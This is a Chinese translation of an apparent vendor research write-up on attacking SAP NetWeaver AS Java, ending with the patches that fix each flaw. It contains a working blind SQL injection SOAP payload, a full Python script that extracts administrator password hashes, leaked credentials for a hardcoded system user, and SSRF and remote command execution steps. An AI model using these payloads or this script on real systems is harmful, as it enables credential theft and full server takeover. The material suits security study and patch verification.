导语:在本文中,我们将证明,有时传统方法并不完全适用。如果SAP测试人员知道SAP存在许多漏洞,并从Internet上下载了免费工具,他们并不能入侵系统,因为一些公司已经应用了最新的补丁,并且他们至少不存在一些最常见的问题(例如,网关绕过、
在本文中,我们将证明,有时传统方法并不完全适用。如果SAP测试人员知道SAP存在许多漏洞,并从Internet上下载了免费工具,他们并不能入侵系统,因为一些公司已经应用了最新的补丁,并且他们至少不存在一些最常见的问题(例如,网关绕过、动词篡改、或默认密码)。
在其中一个评估过程中,我们明白,所有现有的漏洞利用并不起作用,所有默认密码变了,似乎是不可能入侵这些SAP系统。
本文将告诉我们如何打破防火墙。考虑以下几点以帮助执行完美的SAP渗透测试:
1. 为了找到0-day漏洞,SAP servlet以及应用程序应被视为一种优先选择; 2. SAP系统中应用程序的权利; 3. SAP系统中SQL盲注的特点; 4. 权限提升选项; 5. 如何从应用程序访问级别执行任意代码以及获取对操作系统的全面访问。
如果没有公共安全漏洞,我们就寻找0-day漏洞。
要搜索SAP系统中的漏洞,首先需要考虑SAP系统中存在哪些类型的应用程序。SAP系统安装了以下几种类型的web应用程序并与系统一起运行:
- servlet; - webdynpro; - 门户应用程序; - 服务; - 还有扩展,核心lib,接口,但是它们不会被考虑在内。
服务应用程序SAP中的servlet、应用程序、webdynpro和门户应用程序都安装在文件夹C:\usr\sap\%SID%\J00\j2ee\cluster\apps,服务应用程序安装在– C:\usr\sap\%SID%\J00\j2ee\cluster\bin\services
,这里的%SID%是SAP系统的SID。在我们的示例中,SID就是-DM0。
每个应用程序都有由开发人员预定义的权限。只有你能够使用具有这些特权的应用程序。默认情况下,SAP NetWeaver AS Java有4种类型的权利:
1. 无安全性——所有人可用,不需要授权的程序; 2. 低安全性——通过认证的用户可以使用的应用程序; 3. 中等安全性——内容管理用户或管理系统可用的应用程序; 4. 高安全性——对于内容管理用户或管理系统可用的中等安全性的应用程序。
所有应用程序的访问权限都是在webdynpro.xml、web.xml配置文件中描述的,并且对门户app来说,都是portlet.xml。
正如已经提到的,我们主要对不需要身份验证的应用程序感兴趣。要找到这种应用程序,我们需要进行简单的文件搜索来获取应用程序的列表。
在几分钟内就可以找到许多满足搜索条件的应用程序,其中之一是组件tc~rtc~coll.appl.rtc~wd_chat。其配置文件位于以下地址:
C:\usr\sap\%SID%\J00\j2ee\cluster\apps\sap.com\tc~rtc~coll.appl.rtc~wd_chat\servlet_jsp\webdynpro\resources\sap.com\tc~rtc~coll.appl.rtc~wd_chat\root\WEB-INF\webdynpro.xml
并且代码如下:
从描述中可以看到,该组件有两个可以从浏览器调用的应用程序:聊天和消息。因此,应用程序可以从下面的地址获得:
1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
2)http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#
SAP信息披露
让我们打开聊天app,查看它的功能。
按照该地址,一个匿名的servlet被打开了,其功能是写消息。
如果我们点击“Add participant”按钮,我们将打开一个窗口,该窗口的功能是可以将用户添加到聊天功能中,以便编写消息。
如果我们可以选择一个用户,那就意味着我们可以得到所有用户的列表,并且得到这些用户的登录名。
很快,我们便找到了一个名为John的管理员的登录名,但是我们只需要知道账户密码。
SAP 的SQL注入
在对匿名servlet中的漏洞进行搜索过程中,我们发现了一个功能组件 tc~uddi。该组件中有三种服务。
其中最有趣的是C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi\servlet_jsp\UDDISecurityService。
如果我们打开保存在 C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi\servlet_jsp\UDDISecurityService\root\WEB-INF\web.xml中的配置文件,我们将看到如下图所示的内容。
“servlet-class”字段表明该servlet使用SOAP的方法传输和接收数据,并且该servlet被叫做UDDISecurityImplBean。当在浏览器中打开地址
http://nw74:50000/UDDISecurityService/UDDISecurityImplBean时,显示以下信息:
UDDISecurityImplBean servlet不接受GET请求,并且它足以将“?wsdl”键添加到URL,以便
理解发送哪一个POST请求。在这里,我们得到了UDDI Security Service(安全服务)的wsdl描述。
要将一个wsdl文件转换成soap请求,我们可以使用带有wsdl扩展名的burp。
当我们向SAP服务器发送一个SOAP请求,然后调用带有permissionId参数的deletePermissionById函数时,我们可以看到服务器发送一个请求,然后用200个代码进行响应。
这意味着服务器已经成功地处理了请求。为了理解在程序中构建了什么逻辑,我们需要在服务器上找到源代码。组件的根目录C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi是这样的:
EJBContainer文件夹通常存储在组件上下文中使用的JAR文件。这一次,服务器有一个JAR文件,该JAR文件有以下路径:C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi\EJBContainer\applicationjars\tc~esi~uddi~server~ejb~ejbm.jar.。
要获得Java程序的源代码,只需使用JD-GUI 反编译器。一旦打开该jar文件,该程序中实现的类就会显示出来:
非常明显,在程序中有UDDISecurityBean、AppluPermission和DeletePermissionById类。让我们来分析一下UDDISecurityBean类:
在这里,它表示deletePermissionById的实现,以及applyPermission函数在PermissionsDao中得到了描述。
这是一种典型的SQL注入,不需要进行身份验证。让我们在SOAP请求中发送我们最喜欢的引号,看看我们会得到什么响应。
响应中没有出现错误,现在让我们看看日志数据库中是什么,以及最后一个条目是什么。
在默认情况下,SAP程序的所有日志都存储在C:\usr\sap\DM0\J00\j2ee\cluster\server0\log,而数据库的日志文件存储在C:\usr\sap\DM0\J00\j2ee\cluster\server0\log\system\database_00.0.log。
所有内容都得到了确认,现在我们已经在SAP NetWeaver AS Java中进行了SQL注入。因此,为了攻击SAP系统,有必要从数据库中获取管理员密码散列或任意其他用户的一个密码散列。现在我们采取下一步行动。即使我们有一个密码散列,我们如何对其进行解密呢?
加密问题
为了使用SQL注入获取密码,首先,我们需要知道哪个表存储密码。由于我的数据库是Sybase ASE,为了连接到该数据,我们可以用标准的isql实用程序。
为了在控制台模式下连接到数据库,我们打开一个命令行窗口并运行以下命令:
我们有带有DM0 SID的SAP服务器,并且后面会用到数据库DM0。
根据SAP文档,SAP AS Java用户密码存储在UME_STRINGS表中的用户管理引擎(UME)中。在UME_STRINGS表中有两个主要字段:PID和VAL。PID字段保存Administrator ID,而VAL保存密码并用SHA作为前缀进行加密。
结果表明,该请求如下:SELECT PID、 VAL FROM SAPSR3DB.UME_STRINGS WHERE PID LIKE ‘%Administrator%’ and VAL LIKE ‘%SHA%’
以下是程序操作的结果:
PID是 UACC.PRIVATE_DATASOURCE.un:Administrator
VAL是{SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYamodVV2ycvIqBU80lPPUD8twAOhZ/AUSezf4Reou4uFpqth9lDpefHZ1JOuzfILlHYQv4LhheyzoQMAng5pOkvHz5bZXJ+tiSGpsyrju3UtBkmRQ==
很容易猜测,这里使用的SHA-512哈希表被计算了1万次。有人可能会说,它阻碍了那些试图强力破解该散列的人,但在这里没有。
下面是我们通过解码base64得到的。
结果是SAP犯了一个错误,密码以base64保存是不安全的。但是,在这种关键的地方,怎么会没有注意到这个错误呢?
经过几个小时的研究,我终于找到了负责加密和密码存储的函数。该JAR文件对密码的有效性进行加密和检查:
C:\usr\sap\DM0\J00\j2ee\cluster\bin\ext\com.sap.security.core.sda\lib\private\sap.com~tc~sec~ume~core~impl.jar
为了在该文件中找到必要的类,在JD-GUI中查找数据“SHA-512”已经足够。
完成了。发现了PasswordHash.class。
在该类中,正有我们所需要的。
该类的主函数可以很方便地理解哈希函数是如何工作的。
首先,它是PasswordHash类的初始化。
其次,调用了函数 .getHash(); 。
从87到113的行表示变量正在被检查和初始化,第114行表示对createHashWithIterations函数的调用,该调用需要一个24个字符长度的数据集。为了证明该特性,我们将在调试器中为其编写一个包装器,并查看发送了哪些数据。
下面是负责在SAP中对密码进行散列操作的类的完整代码,让我们运行它,并看看它是如何工作的。
我们选择了一个asdQWE123组合作为密码。
值得注意的是,在createHashWithIteractions函数中,对2个特殊参数进行初始化。它们分别是“output”和“pass_n_salt”,它们被传输到最终的哈希函数,hashWithIteractions。
下面提供了关于hashWithIteractions函数的更多细节。
该键执行的与哈希操作相关的所有工作都在40-45行中显示。框图说明了这些行进行的工作。
很明显,从流程图中便能发现开发人员犯了一个错误,并错误地使用了哈希函数。他们使用salt代替密码,当哈希操作在9999循环中执行时,salt(密码)被添加到一个“output”变量的开头。该循环完成了它的工作,密码仍然保存在明文text.QED中。
现在,我们将回到SQL注入,并自动化从数据库获取密码的过程。
SAP 渗透-开发
对于SQL注入的开发,可以使用下面我们新获得的知识:
- SQL注入是盲目的。 - SQL不支持像SLEEP这样的函数调用,只支持SELECT。 - 散列存储在VAL字段中的UME_STRINGS中,并且PID字段存储一个值。
PRIVATE_DATASOURCE.un:Administrator的Administrator是用户登录,其用户名可以不同,例如,j2ee_admin、admin。
我们一步一步地解决这些问题。
由于SQL注入是盲的,所以我们需要找到VAL值。事实证明,主查询有以下形式:
select VAL from UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%'
由于连接器不支持SLEEP函数或其他用于将SQL盲注变成基于时间的函数,所以我找到了一个存储大数据的表。
SQL数据库被要求使用一个有效的VAL值,发出一个延迟的请求,我决定使用表的乘法来在服务器上创建一个弱的1秒负载。这个表被称为J2EE_CONFIGENTRY,而转换后的查询如下:
select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%'
下面是两个查询。我在第一个问题上故意犯了一个错误,该查询花费了15毫秒,而第二个查询则花费了321毫秒。
如你所见,可以将此查询自动化,以便从数据库中检索散列数据。
SAP渗透 -自动化
对于自动化,我们有以下基本的查询:
POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 SOAPAction: Content-Type: text/xml;charset=UTF-8 Host: nw74:50000 Content-Length: 500 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/"> <soapenv:Header/> <soapenv:Body> <sec:deletePermissionById> <permissionId>1' AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId> </sec:deletePermissionById> </soapenv:Body> </soapenv:Envelope>
散列可能由以下字符组成:0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
只要密码散列是salt,它的长度是24个字符,我们只需要以base64格式获得散列的第一个24*3字符。
查看完整的Python代码,用于在下一页中提取散列。
import string, requests, argparse _magic = "{SHA-512, 10000, 24}" _wrong_magic = "{SHA-511, 10000, 24}" _xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <sec:deletePermissionById>\r\n <permissionId>1' AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{0}%') AND '1'='1</permissionId>\r\n </sec:deletePermissionById>\r\n </soapenv:Body>\r\n</soapenv:Envelope>" host = "" port = 0 _dictionary = string.digits + string.uppercase + string.lowercase def _get_timeout(_data): return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host,port), headers={ "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8" }, data=_xml.format(_data)).elapsed.total_seconds() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('--host') parser.add_argument('--port') parser.add_argument('-v') args = parser.parse_args() args_dict = vars(args) host = args_dict['host'] port = args_dict['port'] print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host) hash = _magic print "this may take a few minutes" for i in range(24): for _char in _dictionary: if not (args_dict['v'] is None): print "checking {0}".format(hash +_char) if _get_timeout(hash +_char)>1.300: hash += _char print "Found " + hash break
因此,我们得到以下的价值:
如果我们执行base64解码,我们将得到纯文本的密码。
权限提升,远程命令执行
使用接收到的密码和管理员的用户名,我们可以登录并访问/irj/portal。
然而,这并不是全部。让我们尝试提升权限并获得操作系统的访问权。在SAP中,可以查看以下地址可用的系统日志:
http://nw74:50000/webdynpro/dispatcher/sap.com/tc~lm~itsam~ui~lv~client_ui/LVApp?conn=view[Last%2024%20Hours%20(Java)]#
LogViewer具有连接到远程主机的功能,它可以用于SSRF攻击。
在打开的窗口中,我们点击“connect to host”,并编写一个服务器地址,通过该地址我们将侦听端口50013。
服务器显示SAP希望通过发送以下查询来连接到我们:
你可以看到SAP使用Basic授权试图连接到邪恶主机,该主机正使用一些内部数据。
ezIyMUJBNDRGLUY4OEUtNDE2Ni1CQjJCLUUyNTQxOTEwQjg2QX06eENJUEhNSUNITUlDQURMQk1KT0pER0dKRk9MRkdCRU5PeA==
在2016年,我们做了一项研究,描述了这个系统用户,并展示了该用户如何帮助利用竞态条件获得匿名RCE。
{221BA44F-F88E-4166-BB2B-E2541910B86A}:xCIPHMICHMICADLBMJOJDGGJFOLFGBENOx
这个用户的登录是硬编码的,但是密码是随机生成的。这个用户可以使用带有OSexecute函数调用的SOAP查询来执行系统命令。该请求如下:
因此,我们可以在目标系统上执行代码。
结论
为了防止漏洞利用,你必须安装SAP发布的以下安全记录:
- 2256846,解决使用聊天工具出现的信息披露的问题; - 2101079,修复匿名SQL注入; - 2191290,对加密问题的修复;需要注意的是,安装了本更新之后,你必须更改在数据库中存储的纯文本密码; - 2240946,是对系统用户密码的一个修复,它能够在服务器上执行命令。
还没结束!此外,我们将检查SAP发布的补丁,并检查在安装上述补丁后是否成功修复了漏洞。因此,请保持联系,并订阅我们的时事通讯,在Twitter、Facebook和LinkedIn上关注我们,并从ERPScan研究团队中找到更多的研究案例。